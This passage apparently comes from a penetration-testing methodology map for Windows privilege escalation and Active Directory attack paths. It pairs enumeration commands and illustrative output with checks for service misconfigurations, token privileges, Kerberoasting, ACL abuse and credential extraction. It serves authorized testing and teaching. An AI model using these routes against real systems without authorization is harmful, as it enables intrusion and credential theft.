Requires: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger

Control scheduled tasks, startup files or autostart consumers — A task/startup action consumes a writable command, file, directory or registry value
Requires: Effective object control, a higher principal and a usable scheduled/logon/manual trigger

Control a privileged DLL, helper or configuration load — A privileged application searches for a missing dependency or consumes writable configuration
Requires: Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger

Recover Windows application, history and stored-credential artifactsNot inspectedReadable application configuration, unattended setup, PowerShell trails or Credential Manager entries

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

cmdkey /list
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName

Read the result

A target-bound saved credential is a possible consumer capability, not a plaintext password.

Still check: Establish protecting user/context, intended logon type and an actually permitted saved-credential or decryption route.

Illustrative output
cmdkey target: Domain:target=TARGET_HOST
User: DOMAIN\USER
Password: not displayed
Validate prerequisites and compare methods

Artifact read permission and exact protecting identity/context for saved or DPAPI material

cmdkey /list
whoami /all
Open numbered procedure and alternatives →

What did you find?

Enabled: The matching consumer accepts the credential and the resulting token is checked: use that access.

Ruled out here: The stored entry belongs to another context/target and cannot be used here: reject that transition.

Unresolved: A protected blob/listing without keys or consumer evidence leaves usable credentials unproved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Use Credential Manager and DPAPI with the protecting context — Saved credentials or protected application blobs/master keys
Requires: Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor

Change a privileged service's executable configurationNot inspectedEffective SERVICE_CHANGE_CONFIG on a higher-privileged service

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName
sc.exe qc SERVICE
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE

Read the result

Configuration-change and start rights on the same higher-identity service are promising; file ACLs alone would not prove them.

Still check: Use sc qc to read the service account and command, sc sdshow/AccessChk to verify configuration rights and sc query to inspect state. Confirm an allowed start/restart trigger before changing the service, then verify whoami.

Illustrative output
SERVICE_START_NAME: LocalSystem
Effective service rights:
  SERVICE_CHANGE_CONFIG
  SERVICE_START
Validate prerequisites and compare methods

Configuration-change right, accessible compatible payload path and a separate start/restart trigger

sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Windows\Temp"
Open numbered procedure and alternatives →

What did you find?

Enabled: The controlled configuration is consumed at a usable trigger and effect is verified: choose service configuration abuse.

Ruled out here: Only query rights are granted: reject the ability to change binPath.

Unresolved: CHANGE_CONFIG without a usable trigger remains an incomplete candidate.

Show connections

These are conditional possibilities. Check the named condition before moving.

Use Windows authenticated access or a PowerShell command channel — Windows execution or valid credentials with an available remote service
Requires: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Control scheduled tasks, startup files or autostart consumers — A task/startup action consumes a writable command, file, directory or registry value
Requires: Effective object control, a higher principal and a usable scheduled/logon/manual trigger

Replace a privileged service binary or consumed fileNot inspectedA privileged service consumes a file whose bytes or parent replacement are controllable

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"

Read the result

A higher-identity service consumes a potentially replaceable file in a modifiable directory.

Still check: Use sc qc to locate the real binary and account, then icacls on that file and its parent. Confirm replacement rights and an available privileged service start/restart; a writable unrelated file is insufficient.

Illustrative output
SERVICE_START_NAME: LocalSystem
BINARY_PATH_NAME: C:\APP\service.exe
C:\APP: DOMAIN\GROUP:(M)
Validate prerequisites and compare methods

Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger

sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
Open numbered procedure and alternatives →

What did you find?

Enabled: The replaced compatible file is actually started under the service identity: select this route.

Ruled out here: The modified directory is unrelated to the configured executable: reject this consumer assumption.

Unresolved: A writable path without restart/boot evidence leaves execution unproved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Exploit an unquoted service path with a writable earlier prefixNot inspectedA service command line contains unquoted spaces

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName

Read the result

Spaces plus absent executable quoting create candidate earlier prefixes; writable placement and trigger remain unproved.

Still check: Read the unquoted service command with sc qc. Check each earlier executable prefix for write/create access with icacls; confirm the service account and restart trigger. Spaces alone do not make the path exploitable.

Illustrative output
StartName: LocalSystem
PathName: C:\Program Files\Vendor App\service.exe -d
Quotes around executable: absent
Validate prerequisites and compare methods

An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists

Get-CimInstance Win32_Service | Select-Object Name,StartName,PathName
Open numbered procedure and alternatives →

What did you find?

Enabled: A usable earlier prefix is selected at a privileged trigger: choose this parsing route.

Ruled out here: All earlier prefixes are protected, already occupied or the executable is correctly quoted: reject it.

Unresolved: A scanner flag without prefix/trigger checks leaves exploitability unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Replace a privileged service binary or consumed file — A privileged service consumes a file whose bytes or parent replacement are controllable
Requires: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Control a privileged DLL, helper or configuration loadNot inspectedA privileged application searches for a missing dependency or consumes writable configuration

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

Procmon, when accessible: filter the actual process; inspect requested .dll paths and NAME NOT FOUND results.
Record the exact requested filename and every searched location.
Then inspect the selected location's effective ACL with the owning procedure.

Read the result

An actual requested missing dependency is stronger than guessing a DLL name, but does not prove an attacker-controlled resolution wins.

Still check: Validate real privilege, search precedence/KnownDLLs/manifests, directory control, ABI/exports and a load trigger.

Illustrative output
PROCESS CreateFile C:\SEARCH_PATH\missing.dll NAME NOT FOUND
Privilege and selected search order: not yet verified
Validate prerequisites and compare methods

Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger

icacls "C:\Path\To\Application"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
Open numbered procedure and alternatives →

What did you find?

Enabled: The privileged process selects the controlled compatible dependency: choose that load route.

Ruled out here: A trusted manifest/earlier location resolves it before the writable directory: reject that path.

Unresolved: No runtime visibility leaves loading behavior unresolved; retain it as a candidate rather than declaring hijack success.

Show connections

These are conditional possibilities. Check the named condition before moving.

Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Control scheduled tasks, startup files or autostart consumersNot inspectedA task/startup action consumes a writable command, file, directory or registry value

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml

Read the result

A named privileged task exposes a concrete consumer and action path to investigate.

Still check: Read the task's exact action, principal and trigger with schtasks or Get-ScheduledTask. Check icacls on its file/parents and prove the stronger identity will consume the controlled path at a reachable trigger.

Illustrative output
Principal: SYSTEM
Action: powershell.exe -File C:\APP\job.ps1
Trigger: scheduled
File control: inspect separately
Validate prerequisites and compare methods

Effective object control, a higher principal and a usable scheduled/logon/manual trigger

schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml
Open numbered procedure and alternatives →

What did you find?

Enabled: The controllable action is consumed under the expected higher token: select the task route.

Ruled out here: The real principal is the same low user: reject assumed elevation.

Unresolved: Task registration or run acceptance without process/effect evidence leaves execution unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Change a privileged service's executable configuration — Effective SERVICE_CHANGE_CONFIG on a higher-privileged service
Requires: Configuration-change right, accessible compatible payload path and a separate start/restart trigger

Validate elevated installer policy and administrative-token contextNot inspectedInstaller policy values or an administrator account with a filtered token

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
whoami /all

Read the result

One policy value is insufficient; the two-policy conjunction is the key recognition condition.

Still check: For installer execution verify both applicable values and permitted MSI/runtime; assess UAC administrator/token prerequisites separately.

Illustrative output
HKLM AlwaysInstallElevated REG_DWORD 0x1
HKCU AlwaysInstallElevated: value not found
Validate prerequisites and compare methods

AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
whoami /all
Open numbered procedure and alternatives →

What did you find?

Enabled: Both required policies and a compatible permitted installer consumer exist: validate that route's effect.

Ruled out here: The required user policy is absent/disabled: reject this elevated-installer method.

Unresolved: Policy visibility failure or unknown effective context requires another check.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Select a privilege-backed impersonation or object-control route — whoami /priv exposes a relevant token privilege
Requires: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context

Generate a payload matching OS, process, format and handler — An existing exploit/delivery primitive needs a binary or raw payload
Requires: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

Select a privilege-backed impersonation or object-control routeNot inspectedwhoami /priv exposes a relevant token privilege

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

whoami /priv
whoami /all

Read the result

An impersonation capability is present; the privileged authentication source required by a specific tool is not established.

Still check: Read whoami /priv and whoami /all. Match the exact privilege, enabled state and token context to the technique's required API/trigger, then verify the resulting identity; the privilege name alone is not SYSTEM.

Illustrative output
SeImpersonatePrivilege   Impersonate a client after authentication   Enabled
Validate prerequisites and compare methods

The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context

whoami /priv
whoami /all
Open numbered procedure and alternatives →

What did you find?

Enabled: The required source and privileged token operation work: select that compatible method.

Ruled out here: The required authentication service/source is unavailable: reject that tool's chain.

Unresolved: Privilege presence alone leaves exploit selection unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Use backup privilege to obtain protected local credential material — A token has the relevant backup rights and protected registry/files are a useful credential source
Requires: Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination

Obtain accessible live logon-session credential material — A controlled Windows host may hold useful logged-on identities
Requires: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material

Select a matching application, driver or kernel exploit — An exact vulnerable local component is present after simpler paths are assessed
Requires: Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions

Use backup privilege to obtain protected local credential materialNot inspectedA token has the relevant backup rights and protected registry/files are a useful credential source

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

whoami /priv

Read the result

The privilege is assigned but initially disabled; permitted software may enable it for backup-semantic reads.

Still check: Check that the privilege can actually be used, supporting API/context, complete matched source set and writable output.

Illustrative output
SeBackupPrivilege   Back up files and directories   Disabled
Validate prerequisites and compare methods

Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination

whoami /priv
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Open numbered procedure and alternatives →

What did you find?

Enabled: A permitted backup-aware operation produces matched protected source files: select offline extraction.

Ruled out here: The token has no required privilege and no alternate read permission: reject this backup route.

Unresolved: Ordinary copy denial does not settle a backup-semantic operation; verify the API rather than inferring absence.

Show connections

These are conditional possibilities. Check the named condition before moving.

Extract local account hashes from matched SAM and SYSTEM — Protected local registry material is available under sufficient host privilege
Requires: Matched SAM/SYSTEM from the same system and appropriate read/backup access

Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Select a matching application, driver or kernel exploitNot inspectedAn exact vulnerable local component is present after simpler paths are assessed

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

Get-ComputerInfo | Select-Object OsBuildNumber,OsArchitecture
Get-HotFix
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,PathName

Read the result

The exact component/build is the candidate evidence; an OS-family name or one missing KB is insufficient.

Still check: Verify vendor patch state, required driver/service/feature, architecture and PoC assumptions.

Illustrative output
OS build: BUILD
Driver: DRIVER_NAME at DRIVER_PATH
Affected driver version: not yet established
Validate prerequisites and compare methods

Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions

Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber
Get-HotFix
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,PathName
Open numbered procedure and alternatives →

What did you find?

Enabled: The affected configuration and compatible reviewed artifact are confirmed: select the bounded exploit test.

Ruled out here: The driver/feature is absent or the installed version is fixed: reject that candidate.

Unresolved: An incomplete update inventory leaves vulnerability unconfirmed.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Turn automated Windows findings into manually verified candidatesNot inspectedA Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials

Starting access: A verified Windows foothold with a known token, integrity level and groups

Discover the clue

whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode

Read the result

The enumerator located a configuration clue, not the full usable chain.

Still check: Run winPEAS with log output, then inspect the exact reported service with sc qc/sc sdshow and its file with icacls. Check token highlights with whoami /priv. A collector's colored line is not the resulting elevated token.

Illustrative output
Tool candidate: unquoted SERVICE path
Writable earlier prefix: not checked
Trigger: not checked
Validate prerequisites and compare methods

Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location

whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
Open numbered procedure and alternatives →

What did you find?

Enabled: The native checks establish the complete method conditions: select its owning route.

Ruled out here: Protected prefixes or a low consumer disprove the proposed elevation: discard the finding's exploit interpretation.

Unresolved: Tool blocking/partial visibility leaves enumeration incomplete; use native/application-specific checks.

Show connections

These are conditional possibilities. Check the named condition before moving.

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Change a privileged service's executable configuration — Effective SERVICE_CHANGE_CONFIG on a higher-privileged service
Requires: Configuration-change right, accessible compatible payload path and a separate start/restart trigger

Select a privilege-backed impersonation or object-control route — whoami /priv exposes a relevant token privilege
Requires: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context

S01 · Inspect host-side RDP enablement and logon policyNot inspected
  • Enter: you have authorized local administrative or equivalent management access to a Windows destination, and RDP access is relevant or failing.
  • Discover: inspect TermService, fDenyTSConnections, configured PortNumber, qwinsta listener state and the actual source-to-port path.
  • Validate: inspect NLA/security-layer policy, applied GPO, local Remote Desktop Users membership, and the effective SeRemoteInteractiveLogonRight / SeDenyRemoteInteractiveLogonRight assignments. Deny overrides allow.
  • Execute: RDP host-side inspection; then use the RDP access procedure only when its conditions are satisfied.
  • Verify: a usable desktop followed by whoami, hostname and ipconfig establishes the new host/identity/source position. Authentication-only success is not an interactive session.
  • Outcomes: listener/right/client conditions satisfied → D29 then D18; decisive deny/no listener → ruled out here; policy, SID expansion or filtering unresolved → inconclusive.

Map Active Directory attack paths

Establish domain identity, DC, DNS, time and routeNot inspectedDomain credentials or a domain-joined foothold

Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query

Discover the clue

whoami /all
whoami /upn
nltest /dsgetdc:DOMAIN
w32tm /query /status

Read the result

The named realm/DC and actual identity establish where directory/authentication checks must run.

Still check: Check DC/service reachability, resolver/SPN naming and clock compatibility, not merely the password.

Illustrative output
UPN: USER@DOMAIN
DC: \\DC_HOST
Domain name: DOMAIN
Clock source/status: inspect
Validate prerequisites and compare methods

Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

whoami /all
whoami /upn
nltest /dsgetdc:DOMAIN
w32tm /query /status
Open numbered procedure and alternatives →

What did you find?

Enabled: A normal bind/ticket request works in the intended realm: continue domain mapping.

Ruled out here: The credential belongs only to the target-local account: reject the assumed domain identity.

Unresolved: DC lookup/time failure leaves domain authentication untested.

Show connections

These are conditional possibilities. Check the named condition before moving.

Enumerate directory objects with native, LDAP and PowerView approaches — A directory bind or domain-joined identity can read relevant objects
Requires: Correct search base and authentication transport; object/attribute visibility and compatible local utilities

Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Enumerate directory objects with native, LDAP and PowerView approachesNot inspectedA directory bind or domain-joined identity can read relevant objects

Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query

Discover the clue

net user USER /domain
net group "GROUP" /domain

Read the result

Account/group membership supplies a relationship to investigate; nested membership and effective destination rights remain separate.

Still check: Verify object SID/type, nesting and the exact right granted to that principal.

Illustrative output
Account: USER
Global group memberships: GROUP
Group members: CONTROLLED_USER
Validate prerequisites and compare methods

Correct search base and authentication transport; object/attribute visibility and compatible local utilities

net user /domain
net group /domain
Open numbered procedure and alternatives →

What did you find?

Enabled: The membership resolves to a currently effective object/service right: follow that route.

Ruled out here: The same-named group belongs to another domain or grants no intended right: reject the assumed relationship.

Unresolved: Partial visibility or nesting not yet expanded leaves effective membership unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

Validate host access and volatile session candidates — Group-to-host access edges or a privileged user's possible session
Requires: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient

Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

Collect focused BloodHound data and validate an attack path — Directory relationships are too broad for manual comparison or a candidate chain needs ranking
Requires: Compatible collector/deployment, explicit scope, directory rights and separate permission/connectivity for host/session collection

Identify service accounts and SPNs worth investigating — User-owned SPNs or service-account clues
Requires: Directory visibility and correct service/account association; roasting requires the additional authentication and encryption conditions

Request AS-REP material for an account without preauthentication — A known user or directory flag indicates Kerberos preauthentication is disabled
Requires: Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ

Conditional: trace GPO control to privileged policy consumption — A useful linked GPO has a potentially controllable directory or SYSVOL component
Requires: Effective rights on the necessary GPO components, applicable target scope/filtering, writable policy artifact and a privileged refresh trigger

Conditional: use a validated delegation or RBCD relationship — Delegation configuration or computer-object write suggests a Kerberos impersonation path
Requires: Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow

Conditional: validate an AD CS enrollment-to-authentication path — A CA/template configuration exposes a plausible certificate identity transition
Requires: Effective enrollment/template/CA rights and the exact vulnerable settings; issuance requirements, identity mapping and authentication route must all permit the path

Read domain shares, SYSVOL and NETLOGON for useful artifactsNot inspectedA valid domain identity and accessible file services

Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query

Discover the clue

net view \\DC_HOST
dir \\DOMAIN\SYSVOL
dir \\DOMAIN\NETLOGON

Read the result

A real domain-readable script gives concrete identity/path leads for credential and host investigation.

Still check: Verify readable artifact content, whether any secret is current and what account/service it belongs to.

Illustrative output
NETLOGON contains LOGIN_SCRIPT
Readable script references SERVICE_ACCOUNT and CONFIG_PATH
Validate prerequisites and compare methods

Reachable SMB plus share/object read rights in the chosen identity context

dir \\DOMAIN\SYSVOL
dir \\DOMAIN\NETLOGON
Open numbered procedure and alternatives →

What did you find?

Enabled: The artifact yields a typed usable credential or access clue: follow that specific transition.

Ruled out here: The script only contains non-sensitive public settings: reject a credential-disclosure inference.

Unresolved: Share listing denial without a known-path read test does not settle object access.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Identify service accounts and SPNs worth investigatingNot inspectedUser-owned SPNs or service-account clues

Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query

Discover the clue

Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof

Read the result

A user-owned service name identifies a potential ticket/password-recovery target whose rights may be useful.

Still check: Check actual account type, KDC authentication, encryption type and feasibility; SPN existence alone is not weakness.

Illustrative output
samaccountname: SERVICE_USER
serviceprincipalname: HTTP/TARGET_HOST
memberof: GROUP
Validate prerequisites and compare methods

Directory visibility and correct service/account association; roasting requires the additional authentication and encryption conditions

setspn -Q */*
Open numbered procedure and alternatives →

What did you find?

Enabled: The selected account is requestable and recovery is justified: choose the roast method.

Ruled out here: The candidate is a strong random machine-account key with no useful recovery rationale: reject the assumed easy-password path.

Unresolved: Unknown ownership or unreadable attributes require a narrower directory query.

Show connections

These are conditional possibilities. Check the named condition before moving.

Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

Validate effective directory-object controlNot inspectedAn ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right

Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query

Discover the clue

Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs

Read the result

A DACL-control ACE for a possibly controlled trustee opens an intermediate-right candidate.

Still check: Resolve the ACE's trustee and group nesting, target object class, GUID and inheritance/deny scope. For password reset, group writes or DACL changes open that exact operation's procedure and check its additional conditions before modifying anything.

Illustrative output
SecurityIdentifier: CONTROLLED_GROUP_SID
ActiveDirectoryRights: WriteDacl
Target: TARGET_OBJECT
Validate prerequisites and compare methods

Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs
Open numbered procedure and alternatives →

What did you find?

Enabled: The trustee and exact right apply to the target: select the corresponding object transition.

Ruled out here: The ACE applies to another object type/trustee or is overridden: reject that edge.

Unresolved: A graph label or unresolved SID does not establish current effective control.

Show connections

These are conditional possibilities. Check the named condition before moving.

Reset a target account password through a validated directory right — A controlled trustee has the effective password-reset right on a useful account
Requires: Exact object/right and account state; the disruptive password change is justified within the assigned lab objective

Add a controlled identity to a group through effective membership rights — A group member-attribute write or equivalent effective right
Requires: Exact target group, controlled principal, useful resulting right and a fresh token/logon context

Convert ownership or DACL control into a narrower useful right — Effective WriteOwner or WriteDacl on a useful directory object
Requires: Correct object/ACE semantics, permission to perform the required intermediate change and a preserved original ACL/owner

Use validated directory replication rights for bounded credential proof — A principal has the relevant effective replication rights at the domain naming context
Requires: Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient

Validate host access and volatile session candidatesNot inspectedGroup-to-host access edges or a privileged user's possible session

Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query

Discover the clue

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

Read the result

A permitted SMB action identifies a host capability; it does not establish RDP/WinRM/SCM rights. Investigate sessions only with a supported, permitted remote query.

Still check: Verify actual group effectiveness, service/logon rights, session freshness and collection visibility.

Illustrative output
SMB authentication: accepted
SHARE: READ
RDP/WinRM/WMI authorization: not established
Validate prerequisites and compare methods

Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient

whoami /groups
net localgroup Administrators
Open numbered procedure and alternatives →

What did you find?

Enabled: The intended host service accepts the account and action: use that particular access form.

Ruled out here: RDP membership does not grant the proposed service-creation right: reject that method.

Unresolved: Denied session enumeration is a visibility limit, not proof that no useful sessions exist.

Show connections

These are conditional possibilities. Check the named condition before moving.

Obtain an authorized RDP interactive session — RDP is reachable and the identity may have remote-interactive logon rights
Requires: Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Obtain accessible live logon-session credential material — A controlled Windows host may hold useful logged-on identities
Requires: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material

Collect focused BloodHound data and validate an attack pathNot inspectedDirectory relationships are too broad for manual comparison or a candidate chain needs ranking

Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query

Discover the clue

In BloodHound: locate the controlled principal; inspect the exact edge, source object, destination and collection age.
Resolve its underlying group/ACL/service evidence with the corresponding manual method.

Read the result

The directory edge supplies a candidate intermediate right; missing host/session evidence cannot be invented from the graph.

Still check: Collect with a version-compatible SharpHound/BloodHound collector, then validate the selected edge. Resolve group nesting and effective ACEs for object control; test destination rights and session freshness for host/session edges.

Illustrative output
Graph path: CONTROLLED_GROUP -> WriteDacl -> TARGET_USER
Collection scope: directory only
Host/session data: not collected
Validate prerequisites and compare methods

Compatible collector/deployment, explicit scope, directory rights and separate permission/connectivity for host/session collection

SharpHound.exe --help
Open numbered procedure and alternatives →

What did you find?

Enabled: Every relevant edge is current and enabled: rank the connected path against alternatives.

Ruled out here: One edge is stale or ineffective: reject that chain in its current form.

Unresolved: A missing edge in partial collection leaves capability unknown, not absent.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

Validate host access and volatile session candidates — Group-to-host access edges or a privileged user's possible session
Requires: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient

Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities

S11 · Interpret an AD trust as a boundary, not a privilege transitionNot inspectedDiscovery / validation only · action procedure pending
  • Enter: directory or native trust enumeration identifies another domain/forest relationship.
  • Discover: record source and destination domain, direction, trust type/transitivity, same-forest versus cross-forest context, selective authentication and SID filtering.
  • Validate: destination DNS/KDC/service reachability, accepted identity, target SPN, allowed-to-authenticate/resource rights and the exact capability sought. A trust object or child-domain administration is not automatically forest compromise.
  • Execute: Trust-boundary inspection, then movement preflight.
  • Verify: establish one destination service action under the named identity. Trust-key/SID-history forgery and coercion chains are not registered complete procedures; see RW04.
  • Outcomes: destination service accepts the identity and action → D29; filtering/selective-auth/resource authorization decisively denies it → ruled out here; direction/filtering/identity or route unresolved → inconclusive.
S18 · Inspect AD-integrated DNS record controlNot inspectedDiscovery / validation only · action procedure pending
  • Enter: AD-integrated DNS is present and a selected zone or record object may be writable by the current principal.

  • Discover: enumerate the zone container and record objects from a domain Windows context:

    $Root = (Get-ADRootDSE).defaultNamingContext
